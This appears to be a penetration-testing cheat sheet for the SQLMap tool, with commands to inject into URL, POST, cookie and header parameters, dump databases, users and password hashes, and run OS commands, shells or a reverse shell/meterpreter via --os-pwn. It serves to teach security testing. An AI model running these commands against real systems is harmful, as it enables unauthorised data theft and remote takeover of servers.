SQLMap

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Basic arguments for SQLmap

Generic

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

The --technique argument defines which SQL injection methods sqlmap will attempt.
Each character in the string represents a technique:

Default order is BEUSTQ. You can rearrange or limit them, e.g. only Boolean and Time-based in that order:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Retrieve Information

Internal

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Capture the request and create a req.txt file

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections in Headers and other HTTP Methods

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Crawl a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Customizing Injection

Set a suffix

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefix

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help finding boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper

References

• SQLMap: Testing SQL Database Vulnerabilities

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